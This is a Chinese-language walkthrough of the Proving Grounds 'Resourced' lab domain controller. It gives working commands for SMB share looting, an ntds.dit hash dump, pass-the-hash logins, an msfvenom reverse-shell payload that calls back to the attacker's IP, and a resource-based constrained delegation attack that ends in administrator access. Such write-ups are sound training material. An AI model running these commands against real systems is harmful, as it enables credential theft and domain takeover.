Proving Grounds Practice : Resourced Walkthrough
Proving Grounds Practice : Resourced Walkthrough
Foothole (立足點 ) :
- 透過 enum4linux 枚舉發現使用者帳號與密碼
- 使用獲取之使用者帳號與密碼透過 smbclient 拿到 ntds.dit 與 SYSTEM
- Dump 後拿到某個使用者的 HASH
- 使用有效的憑證 HASH 透過 evil-winrm 進入系統拿到 reverse shell
PE ( 提權 ) :
- whoami 沒有發現可以提權的地方
- 透過 BloodHound 發現現有使用者對 DC 有 GenericAll 權限
- 使用 BloodHound 裡的建議步驟拿到銀票
- 將銀票匯入到 Kali 再透過 psexec 進入系統
注意事項 :
- 拿到新的權限後一定要再次枚舉
- 有 HASH 即可嘗試登入系統
- DC 一定要跑 SharpHound 然後在 BloodHound 注意細節
- 學到 GenericAll 的利用方式
- 銀票攻擊更深一層的學習與利用
Kali IP : 192.168.45.156
靶機 IP : 192.168.245.175
第一步 Rustscan,└─$ rustscan -a 192.168.245.175 --scripts none --ulimit 5000 | tee rustscan
53、88、445、389、3268、etc... 看來又是一台 DC
snmp filtered 沒戲,└─$ sudo nmap -sU -p 161 192.168.245.175 | tee snmp
nmap
nmap LDAP,nmap --script "ldap* and not brute" 192.168.245.175 -p 389 -v -Pn -sT
smb check,smbclient -L \192.168.245.175
enum4linux,獲得使用者清單,其中使用者 V.Ventz 看來把密碼寫在描述說明
得到一組驗證帳號密碼 V.Ventz:HotelCalifornia194!
crackmapexec 驗證看看,crackmapexec smb 192.168.245.175 -u 'V.Ventz' -p 'HotelCalifornia194!'
Domain : resourced.local,此組帳號密碼是有用的
smb 列舉看看,smbclient -L //192.168.245.175/ -U 'V.Ventz' --password='HotelCalifornia194!'
有個特別的目錄 "Password Audit"
存取後發現兩個檔案 SECURITY、SYSTEM,抓回來看看
└─$ smbclient '//192.168.245.175/Password Audit' -U 'V.Ventz' --password='HotelCalifornia194!'
在抓檔案時一直出現 Timeout 後來加上 -m SMB2 與 -t 300 後可以正常抓檔案了
└─$ smbclient -m SMB2 '//192.168.245.175/Password Audit' -U 'V.Ventz' --password='HotelCalifornia194!' -t 300
在另一個路徑下發現 ntds.dit & ntds.jfm,也一併抓回來
因為 smbclient timeout 問題後來有看到 impacket 也有 smbclient
拿到 ntds.dit & SYSTEM 那就直接 dump 吧,└─$ impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
整理一下把 hash 存成一個 hash.txt 檔案,還有之前已經整理好的 usernames.txt
一樣使用 crackmapexec 測試看看,因為是 HASH 檔案所以要用 winrm 來測試
└─$ crackmapexec winrm 192.168.245.175 -u ./usernames.txt -H ./hash.txt -d resourced.local --continue-on-success
獲得一組有用的資訊 resourced.local\L.Livingstone:19a3a7550ce8c505c2d46b5e39d6f808 (Pwn3d!)
直接 impacket-psexec 進去......結果 GG改用 evil-winrm 進去了,evil-winrm -i 192.168.245.175 -u L.Livingstone -H 19a3a7550ce8c505c2d46b5e39d6f808
建立 payload,└─$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.156 LPORT=4444 -f exe -b '\x00\x0d\x0a' -o shell.exe
上傳 payload 與執行
4444 listener 進來了,開始 PE,標準作業 whoami /priv
這是一台 DC,跑跑看 SharpHound 收集資訊
下載回 kali
匯入 BloodHound 後將我們現在已經拿到手的使用者標註一下 Owned
然後開始查看相關資訊,該使用者可以對 DC 執行 PSRemote
看一下相關資訊可以建立新的 Session,這個沒啥幫助,因為已經可以上傳 payload 建立新的 Session 了,所以可以跳過
可以 RDP
查看相關 OutBound Object Control 發現既然有 GenericAll 對 DC
參考 Info 看看,這一段文字 [ This is also known as full control. This privilege allows the trustee to manipulate the target object however they wish. ]
中文的意思是說這是已知的完全控制,此特權允許受託人隨心所欲地操縱目標對象
看到隨心所欲地操縱且目標又是 DC 那應該很有機會
參考 Windows Abuse 的說明表示對電腦物件的完全控制可用於執行基於資源的約束委託攻擊
教我們新增一台新的電腦帳號物件來進行攻擊,然後用 PowerView 獲取 SID
用新增的電腦 SID 為主體建立通用 ACE,並取得新 DACL/ACE 的二進位位元組
接著在該電腦帳戶的 msDS-AllowedToActOnBehalfOfOtherIdentity 欄位中設定這個新建立的安全描述符,一樣使用 PowerView 即可達到
接著使用 Rubeus 將明文密碼雜湊為 RC4_HMAC 形式
最後使用 Rubeus.exe 的 *s4u* 模組去偽裝成 admin 帳號的服務票證,利用 PtT 的手法
先將指令都一一列下 :
=======================================================================
建立機器 : New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force)
SID 獲取 : $ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid
DACL/ACE : $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
msDS-AllowedToActOnBehalfOfOtherIdentity 欄位 : Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
RC4_HMAC : Rubeus.exe hash /password:Summer2018!
Rubeus *s4u* : Rubeus.exe s4u /user:attackersystem$ /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:admin /msdsspn:cifs/TARGETCOMPUTER.testlab.local /ptt
=======================================================================
開始一一執行,第一步建立新的機器帳號就卡關,告知該指令不認識
已經有先匯入 PowerView.ps1 了
回看 BloodHound 的說明如下,發現關鍵字 [ Kevin Robertson's Powermad project ]
GitHub 找了一下發現原來要使用它提供的 Powermad
參考 : https://github.com/Kevin-Robertson/Powermad/tree/master
匯入 Powermad.ps1 後再建立一次電腦帳號這一次成功了
New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force)
獲取 SID 並指定為參數 $ComputerSid
$ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid
輸入 $ComputerSid 查看參數是否有正常獲取
$ComputerSid = S-1-5-21-537427935-490066102-1511301751-4101
設定 DACL/ACE : $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
Get-DomainComputer $TargetComputer | Set-DomainObject -Set
@{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
最後一個步驟了,這裡要將帳號改成 administrator,因為網域中沒有 admin 這個帳號
TARGETCOMPUTER.testlab.local 要改成符合我們網域的名稱resourcedc.resourced.local
.\Rubeus.exe s4u /user:attackersystem$ /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:administrator /msdsspn:cifs/resourcedc.resourced.local /ptt
klist 看一下,現在可以看到銀票了
參考這一篇關於 Rubeus.exe 銀票攻擊
https://www.hackingarticles.in/domain-escalation-resource-based-constrained-delegation/
依據上述該網站的手法操作,將銀票 COPY 回 kali 並進行 base64 decode 存成檔案 ticket.kirbi
銀票內容如下
使用 impacket 內的票卷轉換工具 ticketConverter.py
└─$ cp /usr/share/doc/python3-impacket/examples/ticketConverter.py .
然後將銀票轉成 administrator.ccache
└─$ ./ticketConverter.py ticket.kirbi administrator.ccache
klist 先看一下現在的 kerbers 票卷是空的,匯入該銀票
└─$ export KRB5CCNAME=./administrator.ccache
直接 impacket-psexec 進去看看吧
└─$ impacket-psexec -k -no-pass resourced.local/administrator@resourcedc.resourced.local -dc-ip 192.168.187.175 -target-ip 192.168.187.175
指令用簡單一點的方式如下也可以
└─$ impacket-psexec -k -no-pass resourcedc.resourced.local -dc-ip 192.168.187.175
補充說明 :
其他解法,在建立攻擊使用的電腦帳號時可以套過 kali 遠端去建立
└─$ impacket-addcomputer resourced.local/l.livingstone -dc-ip 192.168.187.175 -hashes :19a3a7550ce8c505c2d46b5e39d6f808 -computer-name 'ARIES$' -computer-pass 'AriesAttackPC1!'
參考這個網站 https://github.com/tothi/rbcd-attack/tree/master
下載 rbcd.py 來執行後續的作業
設定電腦帳戶 ARIES 的 msDS-AllowedToActOnBehalfOfOtherIdentity 欄位建立與使用 s4u
└─$ python3 rbcd.py -dc-ip 192.168.187.175 -t resourcedc -f 'ARIES' -hashes :19a3a7550ce8c505c2d46b5e39d6f808 resourced\\l.livingstone
獲取銀票,且自動存檔成 Administrator.ccache
└─$ impacket-getST -spn cifs/resourcedc.resourced.local resourced/ARIES\$:'AriesAttackPC1!' -impersonate Administrator -dc-ip 192.168.187.175
匯入銀票,並用 klist 確認,可以看到銀票有更新成這個新的
一樣 impacket-psexec 進去,whoami 確認為管理者
留言
張貼留言